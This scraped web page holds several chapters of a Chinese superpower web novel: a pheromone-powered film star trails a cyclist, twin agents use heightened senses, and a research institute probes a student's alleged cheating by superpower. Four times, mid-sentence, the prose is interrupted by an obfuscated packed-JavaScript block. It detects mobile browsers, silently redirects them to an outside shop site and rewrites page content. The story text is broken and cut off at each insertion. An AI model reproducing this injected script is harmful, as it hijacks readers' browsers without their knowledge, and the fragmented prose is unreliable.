——赤蛟突击队! 传说中直属中央的特勤机动部队,成员均为风险级以上的强力异能者,经历严格选拔和远超常规标准的高强度训练,具备三栖作战能力,专一负责恶性超能力相关的突击和反恐行动…… 这一次来到东璞港,和超管局联合办案,所以借调了他们的执法车辆。 “哦,哦。这样啊……那好,好的。谢谢你,谢谢你啊。”接二连三的大惊大喜,将母亲冲击得说不出话来。她垂眸看向自己的女儿,眼眶不觉湿润了。 “不是……不是那样的!……”小女孩紧张得直跳脚,“妈妈你不要听他乱讲,我……我没有超能力,我不是什么小蜗牛……” 温决睨她一眼:“撒谎。” 小女孩:“!!!”他怎么知道的啊! 好像看穿了她的心思,温决又挑起个邪门的笑:“呼吸加速,心率上升,皮肤电活动增加……” “说谎的味道。”他道。 小女孩:“……” “囡囡,你什么时候觉醒的,”母亲蹲下来,扶着女儿双肩困惑道,“怎么不说呢?这么好的事情,为什么不和妈妈讲?” “那、那个是因为……”小女孩瞟了眼盯着她的温决,悲从中来,用力大声控诉,“因,因为!!!我不想变成蜗牛啊!!!黏糊糊湿哒哒的超能力!!!讨厌死了——好恶心,好恶心——” 温决走得离这对母女远了些。一团自小女孩肩头捻来的黑色猫毛夹在他指尖,悄无声息溜进了证物袋。 冷不防地,他忽然吸了吸鼻子。 ……这猫毛上,怎么还附着几缕清淡的柠檬香根草味儿? 还,怪好闻的。 红灯变绿,车辆依序通行。身后喇叭声哔哔叭叭地响,黎沅回神,一脚油门踩出。 咔嚓——! “武装车,自行车……东璞港还真有趣。”存了照片,丁汀娜将手机转成录像模式,卡上自拍杆,跟拍窗外几乎与法拉利并驾齐驱的山地车,“变灯你都忘记看……Leon,老实交代,你是不是在看人家的翘屁股啊!?” 黎沅挑高了秀雅的眉:“我看他的眼睛。” 早高峰时间,高架下的地面道路拥堵成停车场。鲜红色的法拉利巧妙地穿空插眼,不紧不慢跟住山地车。 “臀部曲线与性吸引力密切相关,指向身体上的短期关系。”黎沅道,“我看他的眼睛,是想进去他的心里。” 丁汀娜做了个呕吐的动作。 “这有什么难的?喜欢他,你就亲他一口。”她不以为意,“亲哪都行,一口就行,包他神魂颠倒,一秒做你的裙下臣!” 车近红灯道口,黎沅放软声调,双眸楚楚:“Tina,看着我。” “……只看着我。” 仿佛落入魔力的掌控,丁汀娜一瞬愣住,瞳孔散扩失焦,朦胧望住了驾驶座上单手把着方向盘、美艳无匹的男人。 “Leon……”她的心脏扑通扑通地跳动。不知何时起,她忽然留意到车内的空间过分狭窄,空气流动不畅,湿漉漉黏附着一段馥郁的甜香……该死的,这是爱情的甜美,这是伊甸园里蛇果的清香。 她恋爱了。三小时前的越洋飞机上,她也像这样恋爱过一次—— 不,不对!Fuxk!Fuxk U Bitc ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701065|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' h! “该死的费洛蒙效应!Leon,你这个要命的、到处发情的美杜莎!!!”丁汀娜尖叫着从半催眠状态抽离,抽出墨镜盖住自己发烫发烧的脸,“别看我!不许看我!!!你这变态——离我远点!!!” “噢宝贝儿,我还想亲你一口呢。”黎沅抬手,将丁汀娜的手机抛还回去,“但我想真正的吻,最好留给最可爱的情人。” 录到一半的视频被删空,几张快照也被彻底清除。丁汀娜简直不敢相信:“你@#&%……就为了删几张照片!?” “他不是我们。” 黎沅道。 丁汀娜嗯哼一声,收起了手机。 过了红灯,法拉利追着山地车驶出楼阴路段,攀上中环外围的白沙湾大桥。 超能力热席卷全球,传统明星退居二线,超能力偶像是时下最新流行。大桥双侧的防风屏障上,巨幅广告灯箱照映着一张张或明艳或俊美的脸。丁汀娜最新的电影宣传海报被安置在桥顶最高处,占据最佳地利。 她能力讨喜,又有一头巧克力般浓郁的甜蜜卷发和一双黑亮的大眼睛,是个秀兰·邓波尔式的人物,很自然成为了当代人气最高的超能力偶像兼电影明星,之二。 至于之一嘛…… 就是这辆鲜红色法拉利的拥有者,驾驶座上控着方向盘的金发美人,华人世界的第一超能力明星,黎沅。 据传他拥有十六国混血,从地中海日耳曼蒙古利亚斯拉夫一路向北混到因纽特人。雪肌花容雌雄莫辨,鼻尖上一粒小痣更为他增加了难得的辨识度和异样的吸引。 比他的美貌和演技更出名的,则是他的天赋能力。 绝对魅惑,黎沅。 严格来说,黎沅的能力被定义为“费洛蒙之吻”,但人们更愿意以不清不楚的“魅惑”来描述他。毕竟面对的是这样瑰丽的一条黄金蟒,意乱情迷时到底是被费洛蒙影响,还是为他本人倾倒……恐怕很难分得清。 坡度拉升,山地车马力稍欠,速度明显放慢。红色法拉利自后方蛰伏而起,不动声色拉近双方距离。 “Leon,快看!!!”丁汀娜突然高喊起来,“看他们把你的广告放得多大啊!” 黎沅撩起日光金的长睫,不经心地看向窗外。 隔着一整个白沙湾,江滩沿岸耸立起一群华丽的摩天大楼。无数LED屏拼合成巨大的海蓝宝石幕墙,迎着晨光变幻闪烁,定格在黎沅的顶级神颜。 丝绒西装真空上阵,喉结位置垂落同色丝巾,胸前切出一片锋利的三角瓷白。微卷发丝如金线流淌,翠绿眼眸璨若碧玺猫眼,桃花眼未笑含情,满涂着猩红唇膏的檀口微张,颇具暗示性地含吻住半截金管口红,齿关唇角染开一抹膏体酡红,情色意味明显。 肆无忌惮的欲,惊心动魄的美。 “他们真该在你的脸上打马赛克……”尽管已看过太多次,丁汀娜仍是在这毫无遮掩堂堂正正的美貌面前失了神。 被蛊惑似的,许多人从车窗里探头出来。 望到对岸那幅广告,便不动了。 山地车刹住,林昭摁开表盖镜头,锚准了江岸宝冠顶端最璀璨的宝石。 5. 看 “这是在拍你呢?” 丁汀娜摁下车窗,仔细观察跨在车上的秀丽青年,“不,不……不像是在拍照……也不是在看你。” 也就那么几秒,林昭视线一收,阖上腕表,望向了大桥顶端的巨幅广告灯箱。 海报中心是穿着胶皮紧身衣,身材火爆、神情坚定的丁汀娜。她被无数异能英雄角色推上半空,扮演着救世主的角色。黎沅只露了一个背影,角色定位看起来是神秘的美型反派。 「大受好评!万众期待!4D全息电影《星盟探险队》第二部,向宇宙启程!」 “啊哈哈哈!哈哈哈哈哈!”定睛一瞧,丁汀娜简直要笑疯了,“Leon,看到了吗!?他在看我!他在看我的广告啊!他是直的!!!——黑魔法失效,你完蛋了。哈哈哈哈,哈哈哈哈哈!!!” 黎沅唇角含笑,向她投来一眼。 丁汀娜不笑了。 轻咳一声,她拿起手机发语音:“导演,我们在路上了!一会儿就到,很快很快!” 黎沅轻拧起眉,刚想说点什么,就见到丁汀娜背后的慢车道上,山地车以高到反常的速度起步,骤然冲出—— 驰过桥面最高点,半空中掠过拥堵不堪的车流,抛飞出一道极漂亮的抛物线! 人群一惊,走路的骑车的,从车窗里探出脑袋来的,一个个都如梦方醒,呆然眺望着那神奇的车子消失在桥面尽头。 “……你在看什么?”丁汀娜抬头,被望着前方出神的黎沅吓了一跳。 她赶紧回头,没见着能与超跑媲美的山地车,只看见了路人议论纷纷。 “究竟是怎么了……你被控了???还是说你终于后知后觉,醒悟到他是你素未谋面的前男友?”丁汀娜耸了耸肩,“Leon,我们认识三年,我从没见过你这副表情。” 她错过了山地车飞越白沙湾大桥的极限一幕,也就很难想象到…… 林昭揿开表盖,是为了计算抛物轨迹和落点坐标。直到最后,他都无视了天际线上价值百亿的宝石巨幕,看都没看一眼。 红色法拉利斜向刺出,抢上空位,蛮不讲理地逐尾而上。漂过几个弯,那一道轻逸身影重新收拢在前窗视野里。 车载导航都看不下去了:“您已偏航……重新规划……请在合理位置……掉头……掉头……掉头……” 丁汀娜哭笑不得:“我要上工!追男人的事,你自己去啊!!!” 黎沅突然道:“你相信有天使吗?” “天使?天使骑着自行车来?看看,大白鸡翅在哪呢?”丁汀娜嗤笑一声,“给佬的嘴骗人的鬼,看人屁股啊非说看的是眼睛,看到天菜,就非说人是天使……” “Tina。”黎沅文雅地打断了她,“我很遗憾。有时候,你的确缺乏必要的情趣。” 丁汀娜翻个白眼:“Leon,你个死给。” 中环绿岛的摩天楼群无限逼近,法拉利追平山地车,双双被截停在庞大的十字路口。 象牙雕成的长指轻轻叩打方向盘,黎沅安静着端详山地车上,弓身如月的青年。 腰窄,腿长,薄肌,肩线平直,蝴蝶骨匀停支起无甚版型可言的薄卫衣,简练轻盈又不乏力量,具备十足东方美感的一副漂亮骨架。 最重要的是,他对自己的美既无察觉,也不在乎。因了这份漠然,客观的魅力被不客观地无限放大了。 嘀嗒,嘀嗒。 红灯跳秒,青年似有所觉,忽然回眸,警惕检视过冗长望不到尽头的车流。 随手绕在颈间的长绒围巾扬起,似两片翩然的白羽叶。 万籁退潮,于无声中,黎沅胸中怦然,忽然一动。 黄绿相间的廉价出租车弯进林荫小路,红砖路上磕碰起伏开了几码,笨拙在半道停下。 一会儿,后车门拉开,出来一个西装领带,拎着黑色手提包打手机的高个子男人。 他个头挺高,脊背笔直,明显经过锻炼的身躯严丝合缝包裹在合体的黑色商务西装里。硬领白衬衫系到最顶,领带也是不出错的深藏青。 是那种年年都拿先进,同时在内网论坛聊天版上蝉联“丈母娘心选女婿”第一名的类型。 “到这里可以了,谢谢您。”挟住手提包,男人歪头夹着手机,腾出一只手折拢发票放进西服口袋,轻推关上车门。 点头送走司机,他往前走:“没事儿周局,我下了个车。对,快到了。消防局那的情况,我听说了……在查……嗯……您说……” 这边说着话,拎着手提包的右手手腕上智能表一阵剧颤蜂鸣。男人抬腕看了眼,右手将手机麦克风点成静音,左手点触表屏,接起了腕间通话,语气骤转:“不是叫你没事别打我电话?” “那你别接啊?”腕表上方跃出一方视频投影,温决那张被黑超遮掉大半的狂放帅脸自上而下,自死亡角度逼视他,“温准,你搞啥呢?不在局里?逛街呢?——看把你给闲的!” “有事说事。”温准道,“没事我挂了。” 视频两端的人都生着漆黑的直发,共享着同一张轮廓分明的脸。尽管一个烈一个冷,一个癫一个稳,但就连眼下这点不爽不悦的神色,都如出一辙。 甚至还都戴了眼镜……对面是黑超,这边是黑边框镜。 清水无雕饰,过时到土气的那种。 “你还能干点人事不?”温决叽里咕噜了几句不中听的骂人话,“废话少说,打听个人。科学院的,有编制,风险级往上,你朋友——哈,和嫌疑犯称兄道弟还真有意思没成想超管局还开发了新业务——温准!你他妈听没听啊!?” 这回的操作镜面翻转了,温准先用左手给腕表静了音,又用右手点开手机麦克风,温和得体回复了几个上级的问题。 语毕,屏掉麦克风,他一秒拉下脸:“你说什么了?” 温决甩来一顿加倍激烈的国骂。不过他今天格外有耐心,到这会儿都没挂电话,反而将来龙去脉粗暴复述了一遍。 这期间温准应付了两次上级,从裤袋里抽出第二只手机接了另一通电话,回复了三个人的工作讯息,走过林荫下的红砖路,来到一扇毫无存在感的白铁门前。 “不知道,”他下结语,准备结束这一通毫无意义的通话,“我很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701066|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙,挂了。” “你他妈是不是我哥!!!”温决暴跳,“挂,赶紧挂,除了给我添堵你还能干点啥——诶诶诶别挂!!!那人谁啊!?” 温准抬眼,几乎要触到表屏的手顿住了。梧桐枝叶遮天蔽日,青翠的拱廊下,喷涂着荧光绿的黑色山地车碾碎一地婆娑叶影,自林荫道另一头冲来。 “温科,早啊。”林昭高高地骑在车上,松开单边把手,冲他问好,“怎么,今天您一个人来?” 平光镜片下,形状锐利的黑瞳忽然一亮。温准正想同林昭道一句“早”,耳边却听得嘶嘶声响。白铁门自动打开,山地车横冲直撞擦过他鼻尖,没半分减速意识极其失礼地狂飙了进去。 “就是他!”温决打了个激灵。五感六觉天生远胜常人,温决对自己那看不见摸不着的第六感也有着相当的自信:“谢——” 谢才说了个讠,温准就把通话给掐了。 穿过白铁门走了一段,工作电话告一段落。温准收起手机,取下鼻梁上样式普通的黑框眼镜。 中环的住宅区与外环的鱼珠巷不同,六、七层的小楼疏散分布在高树、花墙与灌木之间,俨然一座野趣横生的街边花园。 但只要离开特殊定制的折光镜片,温准眼中,无论何种风景,都包覆着一层油膜铂光似的色彩,偏离了它们在阳光下的正确颜色。 透镜视觉,温准。 温家的两个孩子,虽是同卵双生的亲兄弟,性格和异能却出现了奇妙的分歧。温决的感官敏锐度分化到了所有器质,温准仅有视觉方面格外尖锐突出。 牺牲其他感官后,他能比自己的弟弟看得更深、更远。 冷色调的水泥小径上,他看到残留下来的不成型金红色热源。若柔软的云絮般绵延向前,急不可待绕过几栋居民楼。 山地车没有入库,直接泊在研究所那一栋的楼下。人是跑着上楼的,看起来这会儿已进了屋。 热量残留明显,体温偏高。他很着急……为了什么? 温准沿着林昭的出逃路线往前走。到了中后排的一栋居民楼下,他抬手扶了扶单元门边上,白底黑字印着“高功能科学研究所”的门牌。 这是林昭上楼前的习惯动作。今天他赶时间,但几分钟前,他仍然将这块脱了两颗螺丝、歪倒一边的招牌扶正了。 但靠近了看,不免就觉得有点奇怪。 将眼镜拿在手上,温准踩着混乱杂糅的色彩上楼。楼梯间往来者众,残留下来的影像也是无迹可寻的乱。在这中间,他辨出最新留下的那一个形状,敏锐地察觉到了色彩之上不自然的组成部分。 双手前臂、小腹、脊柱上部……都显出了反常的深彩色,指向组织炎症引发的局部体温升高。 普通的磕碰伤不足以形成这一程度的色彩差值……更像是事故伤。 上班路上出了意外?出车祸了? 莫名有些烦躁,温准微不可见地皱了皱眉。 将眼镜戴回去,繁杂的色彩滤镜消失。立定在一扇倒贴着福字纸贴的防盗门前,温准按响门铃。 腕表一跳,八点正。 6. 再看 705所的格局,向来与别处不同。福字门边,首先装着台巴掌大的考勤机器,谁走近了,就偷摸着扫谁的虹膜。 玄关口没有鞋柜,组装伞架旁的墙壁被替换成了一整面的互动投影墙,用表格的形式,显示着研究所下属各个部门的研究计划和月度工作目标。 另有一张古典而通用的A4白纸被磁吸在计划表旁边,印的是每周菜单。 又有些油性笔留下的评论:“本周余额清零,没钱没钱啦~”“谁偷了我的试剂?补上不杀![暴怒]”“禁止在冰箱里放食物。”“许愿:番茄炒蛋里请别加姜……”等等。 对面还嵌着一扇云里雾里的单向磨砂玻璃门。 通往厨房·茶水间·休息室·团建室·活动房·705所唯一一间对外会议室。 “啥、啥玩意儿?——超能力作弊?”会议室里,车敏望着温准投上幕布的PPT,停下了剥茶叶蛋的手,“……啊哈,超管局终于插手教育问题了。恭喜,恭喜啊!” “我高中一直往超科学监督管理局便民信箱写信,建议将普通人和高功能人群分开,开设高功能专门学校……石沉大海。”谭之握着支碳素钢笔,一下一下敲打桌边,“现在我的想法也没变,有机会的话,还请温科帮忙转达。” 林昭往后靠住椅背,微仰下颌,专注端详投影幕布:“重考两次,一次多人考场AB卷形式,一次单人考场。除了考场常备的电磁屏蔽仪以外,校方还向你们申请调用了动态光量子监控设备以及……军用级的,全频段干涉仪。” “怎么申请下来的?”他询问地看向温准,“我有些想法——” 温准面无表情:“不建议想。” 林昭很有些遗憾:“那好吧。” 705的人向来聒噪,温准当他们死的,只管自己往下。 “……不是,等等,等等。”为了说话,车敏用最快速度吞掉手里的半个茶叶蛋,“两次重考都考一百三以上,学校什么设备都出动了,也没抓到小辫子,这还不能够证明清白吗?” 她盯住谭之:“吊车尾逆袭榜一,这种事不是很常见吗?之宝,你说是吧?” 谭之只是说:“还有别的证据吗?” “每个考场里,都检测到了分布平均的极少量光量子痕迹。极少量的定义——”按下控制器,温准换了张片,“无害级的百分之一。” 吵得要死的会议室,到这会儿总算安静了下来。 “这个数据存在疑点,”温准按住桌边,“想必各位都很清楚,不需要我多说。” 现存的人体特异功能,根据其基础运作原理,被归纳为原子系、知觉系、反应系和重构系四个分型。 每一类超能力使用时都会在现场留下强度不等的光量子痕迹,依据其单位时间内的单元能量强度表现,又被划分为大家耳熟能详的无害、超微、可控、风险四个烈度等级。 而在这四大分型中,以“知觉系”的能量表现形态最为特殊。 知觉系超能力,被定义为某一方面或多方面的感官感受发达,远胜常人。与其他瞬时发动的超能力不同,过度敏锐的感知系统只可能被折损磨钝,永远没有真正关闭的时候。 也因此,知觉系能力者的能量反应并非脉冲式,而是连续不断的。连续性、较小的方差,较低的平均通量,是他们能量波谱的主要特点。 透过光量子探测器的视觉,会发现知觉系能力者看起来无限近似一条拖着轻盈光带,不住呼吸起伏的水母。 光源时明时暗,直至死亡来临,他们才会灯灭光熄。 “那个小孩,他是知觉系的?”车敏吃完剩下的半个茶叶蛋,开始嘬手边的甜豆浆,“可低到百分之一,那也太低了罢……”那得是多弱的超能力啊。 “风险级往上不封顶,无害级往下也是一样。”简单解释完,林昭道,“入学时校方没有调取这名学生的超能力档案?还是说,他没有在超管局登记?” 温准道:“不是所有人都能在合适的年龄,适时发现自己的能力。触发机制太过复杂或是能力适用面过窄,都可能造成误判,这是普遍存在的正常情况。” 谭之问:“所以他的超能力是什么?” 从一开始,温准似乎就在刻意地回避这个问题。但话都讲到这里了,他必须得负起责任来,抖开最关键的包袱。 “错题本。”温准冷冷地说。 所有人:“???” “临时命名。”温准说,“这是局里根据被举报人的书面自述,给出的能力代号。具体情况,还有待进一步确认。” 车敏有点急:“温科,您就不能再直接些吗?” 温准将PPT翻至下一页。 「姓名:顾昐」 「能力:错题本(暂名)」 「描述:只要是不会做的题目,就一定会做错(有什么用?)」 「签名:顾昐(相当宽胖的手写体)」 车敏崩溃了:“这啥啊!!!” 谭之拍案而起:“就这能力还能作弊呢!?学校还信了?不是吧!” 林昭:“……”越听越像冤假错案。 三个人互看了眼,都在彼此脸上找到了照镜子似的啼笑皆非。 超能力??? 超倒霉才对吧。 选择题天赐的25%正确率都无法拥有,简直闻者伤心,听者落泪。 一瞬之间,三人都对这位素未谋面的倒霉孩子萌生了一丝同情。 “左侧这位女士,”温准对“错题本”毫无关怀之心,后续部分才是他要讲的正题,“晟华中学家委会名誉主席,既白沙湾区教育局副局——她是本次作弊案的举报人。” “上个月晟华学级期中考,她的孩子自年级第一滑落至第九位。与此同时,被举报人自年级第五百七十五位跃升至年级第一。” “成绩公布当天,这位女士向校方发起举报,指认被举报人疑似使用超能力作弊,成绩不实。” 车敏盯着PPT右侧的贵妇照片,喃喃道:“那么这里的另一位……” 温准:“她是被举报人的母亲,东国驻新英格兰大使夫人。大使本人亲自给周局拨长途,每天也就十几通吧。” “事先不知道这个情况。”林昭拿起手机,“我找林老师报备一下。” 自去年年底,705所搬到科院员工家属宿舍后,中央科学院以课题前景不明为由,断掉了705的科研经费。 一瓶试剂大几千,一块光学镜七八万,实验设备动辄十几万起……所长林君成砸出毕生积蓄,买下对门老院士的房子,两套房打通改了实验室,又凭着点私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701067|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人人脉跑通了超管局的关系,出任“科学顾问”,算是为705找到了稳定的资金源。 一事一单,视复杂程度阶梯式付费。但这一次牵涉到的是两位惹不动的家长,超管局不愿当冤大头,想让705所出面垫背,林昭认为这属于核心产品外延服务,理当另外议价。 林昭发消息给林君成,温准就给他们一把手周停打报告,留下一对魔王弟妹闲着干瞪眼。 “王对王。”车敏抬起两根手指,在两位贵妇中间画了条不存在的线,“这么说来,这次我们都是炮灰小卒咯?” 谭之点头:“完全懂了。最佳解,找一头替罪羊背黑锅,两边都不得罪。作弊没,谁作弊,不重要,没人关心。” 啪—— 温准关掉投屏,直接起身,将笔记本拆了装进手提包。 茶水间的感应顶灯闪烁几下亮起,林昭也跟着站起来:“705向来都实事求是,温科放心吧。” 车敏和谭之恃幼行凶,林君成又不在,林昭自省,觉得高低得说两句人话,表明705的工作态度。 温准看他一眼,拔出数据条放在桌上,语气温和:“那么,我先告辞了。” 车敏展现热情:“温科拜拜!” 谭之展现复读功能:“温科拜拜!” 送佛送到西,送客下楼梯。林昭开完会议室的门,又开防盗门。一楼楼梯快走尽时,温准说:“不用送了,你回去吧。” 林昭不客气地停下了:“你电话?” 温准按了按微震的西服口袋:“没事。” “我看你平时都带三个手机,”就这样荡悠悠堵在楼梯中间,林昭拿塑料袋当手套,开剥一颗从车敏那薅的茶叶蛋,“超管局那么多事,不可能不忙的。你去回电话吧,屋里太闷,我在这吃个早餐。” 逐客令下得如此理直气壮,由不得人不走。温准说了再见,往下走完最后两级台阶。推开单元门时,他顿住,突然回头,目光越过平光镜片上沿,扫描似地自下而上网过林昭。 他在“看”。林昭琢磨着,顺手将剥到一半的茶叶蛋送到唇边,咬了口。 温准的能力“透镜视觉”,林昭早有耳闻,知道他的眼睛格外地毒,尤其擅长刑侦问讯,不借助仪器,也能通过色彩、动作、微表情等讯息轻松判断出对方的心理和能力状态。 所以林昭原本是打算在楼下目送他走,确定没问题了,再上楼回去照看飞碟。 没想到这里杀他一个回马枪……肯定是发现什么了,林昭想。 他现在只希望进食时大脑分泌的多巴胺能发挥应有的作用,好让他在温准眼里,不要显得太鲜艳或太紧张。 谁知一口狠咬下去,蛋白柔嫩弹牙,卤汁鲜香四溢,回甘调中浸润着大红袍的浓郁茶香,这茶叶蛋,竟是平生仅见的美味—— 林昭愣了愣,猜到这款臻品五香茶叶蛋可能是车敏家里自己做的,忍不住就又来了一大口。 温准看着他,抬指推上镜架。 只是一瞥,但他很清楚地看到,林昭脊柱上部那一团组织热源,已彻底消失了。 没有更多疑点。余下最令人在意的,是两片自林昭双手小臂内侧延伸出来的,破皮泛红的刮擦伤。 “改装自行车不太安全。”温准转开视线,“你自己多注意。” 7. 有飞碟! “环境分子学部,车敏。”回到主客厅兼办公室,林昭举着飞碟,给大伙挨个儿拜早年,“她的研究方向主要是高功能生命体和大气环境之间的交换感应及其潜在的应用拓展。” 车敏高兴极了,捏着拳头夹住嗓子弯下身喵喵两声,换来飞碟生无可恋的一句喵。 林昭往左转了90度角:“谭之你好,这是飞碟。飞碟你好,这是谭之。他是超心理学及神经科学部的,名字有点长,你不用记没关系,他自己会把什么都记住。” 猫懒洋洋眯着眼,被林昭搓得咕噜咕噜:“记住我的就行。量子科学部,林昭。” 谭之伸长胳膊,抓过林昭桌子上印着“量子科学部”的立式三棱柱台签,飞快地和自己桌上的“超心理学及神经科学部”换了个位。 “我是量子科学部的。”谭之说,“猫是我的了。” 车敏起身,把四张对排电脑桌上摆着的台签全都抱在怀里:“研究所是我的,你们这四个部门,全都归我管。林昭师弟,我命令你,把飞碟交出来!” 林昭:“那敏敏师姐,请你下午去超管局,给顾昐监考。” 几分钟前温准发消息,说大使夫人勉强松口,同意让倒霉孩子前往超管局接受能力测试。 但下午还要赶场去参加国际暑期夏令营的选拔考试,因此只能腾出半小时。 “啊啊啊错题本——!”车敏麻溜地将四部门归位,反手往脑袋上插了个八爪鱼按摩器,“我不想看他一直做错题!那得多焦虑呀!我错了师哥,还是你去吧。要知道,这屋子里只有你没有自己的实验室啊!” 林昭:“。” 他需要的实验区域面积太大,仪器成本也太高了。区区两套三室一厅根本不可能吃得下,干脆优先给别人。 于是这研究所四个人里,只有他一个人天天在外面跑业务。 ……有句话怎么说的来着。 好想有个家啊。 里侧的缓冲间门突然打开,解洋顶着门框大步流星冲出来:“飞碟!!!是不是你吃了我的实验蛙!!!” 车敏:“洋哥你吓到飞碟了,你把解剖刀放下,我们有话好好说……” 谭之:“猫是肉食动物,解洋,你要尊重大自然的法则。” 林昭对飞碟道:“他叫解洋,生化反应研究部的。刚才就是他帮忙把你藏在阳台上。来,谢谢解洋。” 飞碟转了转金灿灿的眼珠,小小地呜喵一声。 “然后它就把我的青蛙吃了!那可是觉醒了超能力的青蛙啊!!!”解洋冲另外三人怒吼,看向猫时表情却瞬间柔软,“飞碟宝宝,下次要吃什么,提前说一声哈,咱好提前做准备。” 整个办公室都沉寂了。 “我出去带飞碟打疫苗,再给它做个基本的身体检查。”林昭把飞碟安顿在一只保温袋里,将自己桌上装着神秘人围巾和士力架巧克力的两个塑胶袋推到对面,“能化验吗?指纹啦,毛发啦,纤维啦,残留啦……什么都行,尽可能做得细致全面。” “我试试吧。”解洋拿过那一包暖呼呼的围巾,惊叹一声,“伦弥纳的哎!!!” 伦弥纳是个进口高奢牌子,仅在东璞港中环区域的顶级商场有对外门店。 惊叹于解洋的时尚洞察之余,林昭不由感叹,难不成做变态杀人犯这一行,来钱其实还挺快? 车敏歪头瞥了眼士力架那一只塑胶袋,双手飞速敲键盘查货品出库代码。没几分钟,她从屏幕后探头:“师哥那巧克力没问题,你给它吃了吧,留下包装纸就行。” 林昭也没推辞,直接就着塑胶密封袋将巧克力剥开全吞了。 给猫做了驱虫,又一起打了疫苗。中午林昭找了个日料店,信守诺言点了一满盘金枪鱼刺身,推到飞碟鼻尖。 吃完,他将猫送回705,赶去超管局。 顾昐,晟华高中高二普通班的一名普通学生,遭遇作弊指控的当事人。他今年十七岁,身高足有一百八,体重则达到了惊人的三百斤。只要看过他的学生证照片,就没人好意思再用“孩子”来称呼他;而“我家宝宝”这个爱称实在太不客观,只剩下他的父母才能喊得出口。 体型和家世都过于庞大,很容易稀释掉外人本就不多的恻隐之心。来自任课老师、班主任、学级主任的三级证词都证明顾昐素行懒散,成绩向来不佳。教导主任和秘书室出具了顾昐入学以来全部的成绩单,追加说明了他的赞助择校背景。 “顾昐这学期是比较努力一点。”录音里,任课老师为难道,“可是他基础薄弱,这么短的时间……很难。不太可能。我觉得不可能。” “那也没必要给他一份微积分卷子。”下行电梯中,林昭道,“晟华高二就开了微积分选修,你们要做临界压力测试,微积分的难度……还真不一定够。” 他的话让前来迎接他的科室秘书回想起了本科时期,自己连续两年挂在高数上的惨痛经历。他一点儿也不想和林昭探讨微积分的难度,当即抽着嘴角,只回报给他一个礼节性的笑容。 林昭又道:“晟华期中考的卷子,不能调出来让他再做一次?” 这也不是个好问题,但至少还能回答。秘书字正腔圆,代表整个超管调查一科坚定和教育局划清界限:“没有这个权限。林工,咱们负责的是能力测试,也只能负责能力测试。” 叮地一响,电梯拉开。 门外现出一条高聚材料搭建的方形通道,通道尽头的白色板墙上,嵌着一扇轮廓浅淡的白门。 林昭以前来过超管局几次,知道白门后头是一截缓冲带,通过缓冲带,就到了专门用于能力测试的封闭室。 东璞港超管局的地底部分体积庞大,远胜过它显露在地表上的一方行政办公楼。类似眼前这样带独立管道的封闭室,在超管局的地下空腔中少说也有十几二十个。林昭猜测超管局的地下结构近似一个鼓而胖的白蚁巢,主轴周围分布着枝蔓交错的通道,由多台四向电梯串联,结起了无数个用途不明的细胞房间。 这种建筑结构基于保密和安全目的设计,大幅削弱了外界的电磁波干扰,能有效阻断遥视、遥感、瞬移等超长射程的超能力入侵。 但每一次乘坐下行电梯进入岛屿山体内部,林昭都觉得不是太舒服。 不流通的地底的空气,被屏蔽材料分隔切断,各自孤立的小空间。 就像一座没有出口的监狱。 顾昐坐在封闭室中央,不知从哪搬来的一张木质课桌后面,垂着扁桃仁形状的脑袋,萝卜似的白胖手指一下一下,戳点着平板的屏幕。 他长得和照片几乎一模一样,却比照片上显得更为柔软温驯。空洞的房间淡化了他壮硕的体格,加上蜷在桌前的动作,整个人竟见出几分孤零零的无助来。 “好多啊……这得有多少题了。”他细弱地翕动嘴唇,浮而软的声音便同步从主监控屏上传出来,“一会儿我得去国际游学夏令营选拔……来得及吗。” 检测员隔着一堵墨玉黑的单向玻璃墙喊话:“太慢了,加速!读题不得超过三秒钟!集中精神!拆掉你潜意识之外的高墙!” 顾昐瑟缩了下,局促推了把鼻子上勒出印痕的沉重镜架,很是勉强地加快了速度。 来到一个被监控和侦测探头环视的陌生环境,谁都难免会紧张。但顾昐紧张得有些太过了,即使不看主监控窗周围返回的生理数据,他发颤的手指和额角一层细密的汗珠也足够说明他的状态并不正常。 单选,错。多选,错。判断,还是错。答案提交,系统第一时间阅卷,将批改结果返回到监控屏上。血淋淋一片满江红。 “还真的都做错了。”亲眼见识到“错题本”完全体的威力,秘书忍不住感叹了一声,“全选C都不至于这样吧!这孩子……想不到还挺配合的哈。” “麦。”林昭压轻了声音提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 